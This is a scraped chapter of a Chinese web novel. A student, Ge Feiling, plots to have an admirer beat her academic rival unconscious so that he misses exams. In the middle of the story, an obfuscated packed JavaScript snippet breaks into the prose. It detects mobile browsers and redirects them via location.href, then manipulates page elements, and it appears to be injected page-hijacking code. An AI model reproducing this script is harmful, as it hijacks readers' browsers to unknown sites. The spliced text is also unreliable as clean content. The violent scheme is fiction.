“但是爸爸这些年挣钱实在不容易,你让阿岭进医院的事,几乎花了我们大半辈子的积蓄啊。” “你好好念书啊,只要别惹事,乖乖的,爸爸会供你上大学的。” …… 葛飞灵挂着笑容,不断地重复“我不恨”“我不苦”“爸爸我知道你为我好的”。 她的耳朵都快起茧子了。 当然她也清楚,葛宏康怕她上好的大学不顾家了,所以才会摆出掏心肺子坦白的架势。 估计最后目的是让她尽孝心为他们养老。 面子功夫谁都会做。葛飞灵了然于心,表面一直迎合着葛宏康。 周日下午回校,她已经打电话辞掉了奶茶店的兼职,然后带着这笔花心思讨来的零花钱,收拾着没多少书的书包。 以后她可以带作业回来演勤奋学习的戏码了。 爸妈都去上班了,家里只剩她和葛岭。 葛岭吃了两天的哑巴亏,摊在沙发上一边打游戏,一边不忘对她虎视眈眈。 “就这么点我指缝掉下来的几百块,瞧你高兴的,好惨哦。”亲生弟弟竭尽所能地挖苦她。 葛飞灵无动于衷,回怼:“我高兴的是,只要我想,你根本不是我的对手。” “……呵呵,你以为爸不会看穿你的真面目吗?” “会啊。”葛飞灵闲适地答。 葛岭一怔,摁着switch游戏机的手滞住。 “可是在你明显不如我的利益面前,他就算不喜欢我也得开始对我好了,蠢弟弟。” “操……”葛岭并不笨,他对学习不上心,但在这方面他算得上人精。 葛飞灵一直怀疑他为了争宠才故意装成学渣的傻子模样。 “老子不信你的第一能维持到高考,你多牛逼啊,那里的学霸就不牛逼吗,总有人能治你的,傻逼姐姐。” 葛岭说这话就像嘴硬不肯服输的弱者。 她听得想笑。 “不信么,那就等着爸开完家长会回来。”葛飞灵打开门,背上了许久未背的书包。 15. 20% 期中考在下一周,等成绩出来开家长会也是下下周的事了。 但她为了讨葛宏康的欢心,贷款吹牛。如果期中考她还是万年老二,刚获得的一点信任又会离她而去。 家长会可以借口说延迟,但实实在在的第一没办法糊弄。 葛飞灵挨打时想出来的计划,几乎是眼下唯一也是最有效的方法。 她想让景浣缺席这场考试。 目前让他迅速坠入爱河然后成绩一落千丈基本上是不可能的。 但她没有放弃争夺第一的目标。 条条大路通罗马,既然她骑虎难下,为什么不先用更见效的办法达到自己的预期? 这个逻辑正确的念头,一直到她借来景浣最近的随堂测,持续发酵。 她认真对比自己和对方的水准。 有两科她比不过,分别是语文和英语。景浣无论是语文还是英语,阅读量皆比她高。 不同家境带来的差距,短时间她无法快速提升,很难一步登天去超越他。阅读量造成最直观的影响是,他的阅读理解和作文分都比她高出不少,这也是拉开分差的一个原因。其次,英语听力她也难以企及,班里的同学曾八卦过,景浣寒暑假会去西欧国家旅游。 所以她的听力没能赢不稀奇,除非英语天赋降临到她头顶。 然而现实生活中,天才并不像扎堆的葱蒜随处可见,她能升上实验班和考到级第二的成绩,全依赖于高度自律和勤奋刻苦的毅力。 景浣大概也不是,但他眼界的高度和出生的起跑线已经胜过班上大部分人。 包括她。 要从他手里抢过第一谈何容易。 又回到了最初的命题… 葛飞灵将卷子和习题本还回去,思绪仍沉浸在自己和他的差距。 “怎么看得这么入迷?”他接过本子,望见她发呆的神情,饶有兴趣地问。 女生仍垂着眸,宛若一座栩栩如生的雕像,若不是眨眼,旁人会错觉这是巧夺天工的精致人偶。 景浣看着她,忍不住伸手在她眼前晃一晃。 葛飞灵的眼眸微闪,终于回过神,和他的目光碰上。 “抱歉,刚刚走神了。”她像是不好意思,和他对视一秒就立刻挪开,绑着的马尾落到颈后,裸/露的耳尖微微淡粉。 景浣笑笑,丝毫不介怀,“没事。” 葛飞灵侧过头,继续思考去哪儿找完成这任务的人。 柴佳和毛巧贞绝对不行,这两人嫉妒心和同情心并存,她和景浣同桌的事已经让她们心有芥蒂,如果不是她和景浣除了学习之外没什么交流,只怕她们要疯。 同理徐柔也是,葛飞灵压根没考虑过她。 葛飞灵专注地搜肠刮肚,最后终于浮出来一个合适的人选。 晚修一下课,她就提前离开教室去找那人,打算择日不如撞日。 “你掉东西了。”葛飞灵刚走没多远,后面忽然有人唤她。 她回头,是拎着自动铅笔的景浣。 葛飞灵微愣一秒,右手摸进口袋,不知何时笔掉出来了。 她道谢,很快接过去。 “你要去哪儿?”景浣垂眸看她从自己掌心捏起那支笔,礼貌性问道。 葛飞灵当然不可能跟他说实话。 只说:“我去一趟办公室。” 不知是不是她的错觉,她总觉得对方似乎松了一口气,很像在确认一件事无误之后如释重负的神情。 随即,景浣的眼眸弯起来,说:“这么巧,我也是。” 葛飞灵一时卡壳:“……” 他的眼神清净无欲,不带一丝遐想地望着她,葛飞灵不太情愿地别过头,脑袋正想着随便找个理由搪塞。 “你先去吧,我突然记起来忘了拿一样东西。”几秒后,她睁眼瞎说道。 景浣若有所思,那两秒内她度秒如年,生怕在他面前露陷。 “好的。” 所幸,最后他仍是被骗过去,点点头先离开了。 葛飞灵一边回教室一边注意着外边的人影。 等到确认他进入楼梯口后,直至看不见背影,葛飞灵马上转方向,往另一边的楼梯口上去。 十九班放学以后基本就没人了,熄灯关门也特别早,不像实验班那样刻苦学习拖到十点半,她得抓紧时间。 “姚狗,今晚去吃宵夜吗,我请。”高大轻佻的男生喊同伴。 “去啊肯定去,等我打完这盘。” 姚永嘴上应着,手上争分夺秒地击杀敌方。 “快点啊傻逼,我肚子饿得惨叫了。”同伴一屁股坐到他桌上,不耐烦地催。 姚永最烦别人催他,盯着屏幕上操作的小人,怼:“赶着投胎吗等一会儿又不会死。” 凑巧这时班上有人大喊,“姚狗在吗,外面有人找!” “找屁啊,爷正忙着,今晚不接客让他滚。” 班里那群嘴贱的哈哈笑起来,用手做喇叭状,学着他的语气回:“听到没有葛飞灵,你去了实验班人姚狗也不愿意舔你了哈哈!” 同伴还在火急火燎地等着,姚永全神贯注地打游戏,“葛飞灵”这三个字一钻进他的耳朵,他瞬间魂掉了,手机看也不看地退出界面,他“砰”一声踢开椅子站起来,眼睛眯成一条线,果然瞧见了走廊上那抹纤细的身影。 姚永即刻揣着手机跑出去,唯恐她后悔似的。 尽管同伴在身后骂妈,他也权当没听见。 “飞、飞灵,有什么事啊?”他喘着气跑到她面前,又记起她不喜欢别人靠太近的习惯,硬生生又退后一大步。 葛飞灵放下心,这人对她的迷恋依然没消退一分。 以前班里过半数的男生追她,她置之不理,只有他算是坚持最后的,一边黏着她嬉皮笑脸一边打骂都赶不走。 之所以想到他,是因为她依稀记得姚永学过散打,加上身形健壮,很符合人选的条件。 “我有件事想找你帮忙。”葛飞灵的态度稍微软和,没有对他过分热情。 “你说,我能做到的肯定在所不惜。”姚永有些受宠若惊,高兴得活像一只冲主人摇尾巴的哈士奇。 他语文倒是比徐柔好。 葛飞灵嘴角的笑慢慢上扬,先给他编好前情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233432|197627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提要:“实验班有个男生一直纠缠我,我很烦他,你能帮我打他一顿么?” 话毕,她不忘补充:“最好打到进医院,考试也考不了的地步。” “行啊,没问题!”姚永毫不犹豫地一口答应,垂涎的目光又落到她的脸颊,“飞灵灵,那我有什么好处?” 葛飞灵还没开口,他又怕对方误解自己,忙不迭解释:“我不是得寸进尺啊,只是想你给我一点酬劳,或者一点甜头也行。” “事成之后,我请你吃饭吧。” 葛飞灵的嗓音偏柔,在太吵的环境容易让人忽略,但姚永早练成了朗读声中熟睡的本事,耳朵贼敏锐,他飘乎乎地同意:“好啊。” “我给你说一下时间地点。”对方没异议,葛飞灵便开始详细地部署计划。 她从裤兜拿出备好的铅笔和便利贴,将重点都罗列总结下来,以免姚永忘了。 末了,葛飞灵又想了想,还是提醒一句:“别打脸,打晕他就行了,我需要你把他打到住院一个星期以上。” “他很好看?”姚永突兀地问,心里头竟有点不是滋味。 “还行,他是我同桌,你打丑了恶心的是我。”葛飞灵实话实说。 “那你跟他调位不就得了。” “调不了,实验班不好调。”葛飞灵不想透露太多自己在实验班的事。 “行吧。” 葛飞灵望了眼十九班内挂着的有些残旧的时钟。 “就这样,明天你等我指示,我会提前过来通知你一声,你呆在教室别走。” 姚永笑得跟朵花似的,连声说好,恋恋不舍又可劲儿地吸着她的颜。 * 星期一清晨,升旗仪式进行中。 葛飞灵特意站在男生那列的后边,这个班里女生太少,连独自成一列都做不到。 班长站在最前的中心位,景浣则在队伍前排。 昊磷在后边来回徘徊,时刻盯紧着,不让他们有说小话的机会。 有班主任盯着,前后的柴佳和毛巧贞都没敢出声找她聊,葛飞灵闭眼默算。 升旗仪式占用的是第一节课的时间,结束以后剩余大约二十分钟,这个时间用来揍景浣绰绰有余。 首先,得引他到一个僻静安全的地方。 站了十几分钟,终于等来国旗下主持人的结束语:“……请老师先行离开,各班有序离场。” 前头的班级解散后离开操场,然后轮到他们。 “飞灵,我突然……” 毛巧贞和她并肩走,正要开口倾述,葛飞灵转身就走,留下极轻的一句“我去一下卫生间”。 “哦,好…”毛巧贞不舍地应道。 葛飞灵锁定前方和班长一起走的背影。 怎么避开卓星宇也是个问题。 早上她去找姚永,谈及这个问题,对方不以为意地:“你俩不是同桌吗,那就等回教室再引他出来啊,这样更简单。” 葛飞灵觉得他没开智。 回教室是简单不少,但是她前脚刚出去,景浣后脚跟出来,而后者恰好发生了事故,任谁都会怀疑到她身上。